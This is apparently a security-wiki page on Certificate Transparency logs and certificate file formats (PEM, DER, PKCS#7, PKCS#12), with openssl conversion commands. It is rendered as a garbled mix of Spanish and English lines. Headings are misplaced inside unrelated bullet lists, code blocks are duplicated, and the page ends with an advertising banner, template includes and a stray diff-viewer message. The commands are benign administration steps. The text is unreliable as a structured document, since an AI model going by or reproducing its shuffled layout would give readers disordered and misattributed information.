- Establecer un sistema de auditoría abierto para rastrear certificados emitidos por error o de manera maliciosa.
- Proteger a los usuarios contra certificados fraudulentos.
- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. #### **Registros de Certificados**
- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates.
- Safeguarding users against fraudulent certificates.
#### **Certificate Logs** Los registros de certificados son registros auditables públicamente, de solo adición, de certificados, mantenidos por servicios de red. Estos registros proporcionan pruebas criptográficas para fines de auditoría. Tanto las autoridades de emisión como el público pueden enviar certificados a estos registros o consultarlos para verificación. Si bien el número exacto de servidores de registro no es fijo, se espera que sea menos de mil a nivel mundial. Estos servidores pueden ser gestionados de manera independiente por CAs, ISPs o cualquier entidad interesada.
Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. #### **Consulta**
#### **Query** Para explorar los registros de Transparencia de Certificados para cualquier dominio, visita [https://crt.sh/](https://crt.sh).
To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). Existen diferentes formatos para almacenar certificados, cada uno con sus propios casos de uso y compatibilidad. Este resumen cubre los formatos principales y proporciona orientación sobre la conversión entre ellos.
Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. ## **Formatos**
## **Formats** ### **Formato PEM**
### **PEM Format** - Formato más utilizado para certificados.
- Requiere archivos separados para certificados y claves privadas, codificados en Base64 ASCII.
- Extensiones comunes: .cer, .crt, .pem, .key.
- Utilizado principalmente por Apache y servidores similares.
- Most widely used format for certificates. ### **Formato DER**
- Requires separate files for certificates and private keys, encoded in Base64 ASCII.
- Common extensions: .cer, .crt, .pem, .key.
- Primarily used by Apache and similar servers.
### **DER Format** - Un formato binario de certificados.
- Carece de las declaraciones "BEGIN/END CERTIFICATE" que se encuentran en los archivos PEM.
- Extensiones comunes: .cer, .der.
- A menudo utilizado con plataformas Java.
- A binary format of certificates. ### **Formato P7B/PKCS#7**
- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files.
- Common extensions: .cer, .der.
- Often used with Java platforms.
### **P7B/PKCS#7 Format** - Almacenado en Base64 ASCII, con extensiones .p7b o .p7c.
- Contiene solo certificados y certificados de cadena, excluyendo la clave privada.
- Soportado por Microsoft Windows y Java Tomcat.
- Stored in Base64 ASCII, with extensions .p7b or .p7c. ### **Formato PFX/P12/PKCS#12**
- Contains only certificates and chain certificates, excluding the private key.
- Supported by Microsoft Windows and Java Tomcat.
### **PFX/P12/PKCS#12 Format** - Un formato binario que encapsula certificados de servidor, certificados intermedios y claves privadas en un solo archivo.
- Extensiones: .pfx, .p12.
- Utilizado principalmente en Windows para la importación y exportación de certificados.
- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. ### **Conversión de Formatos**
- Extensions: .pfx, .p12.
- Mainly used on Windows for certificate import and export.
### **Converting Formats** **Las conversiones PEM** son esenciales para la compatibilidad:
**PEM conversions** are essential for compatibility:
- **x509 to PEM**
- **x509 a PEM**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
- **PEM a DER**
- **PEM to DER**
```bash ```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
- **DER a PEM**
- **DER to PEM**
```bash ```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
- **PEM a P7B**
- **PEM to P7B**
```bash ```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
- **PKCS7 a PEM**
- **PKCS7 to PEM**
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**Las conversiones PFX** son cruciales para gestionar certificados en Windows:
**PFX conversions** are crucial for managing certificates on Windows: - **PFX a PEM**
- **PFX to PEM**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
- **PFX a PKCS#8** implica dos pasos:
- **PFX to PKCS#8** involves two steps: 1. Convertir PFX a PEM
1. Convert PFX to PEM
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. Convertir PEM a PKCS8
2. Convert PEM to PKCS8
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
- **P7B a PFX** también requiere dos comandos:
- **P7B to PFX** also requires two commands: 1. Convertir P7B a CER
1. Convert P7B to CER
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. Convertir CER y clave privada a PFX
2. Convert CER and Private Key to PFX
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
--- ---
<figure><img src="../images/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More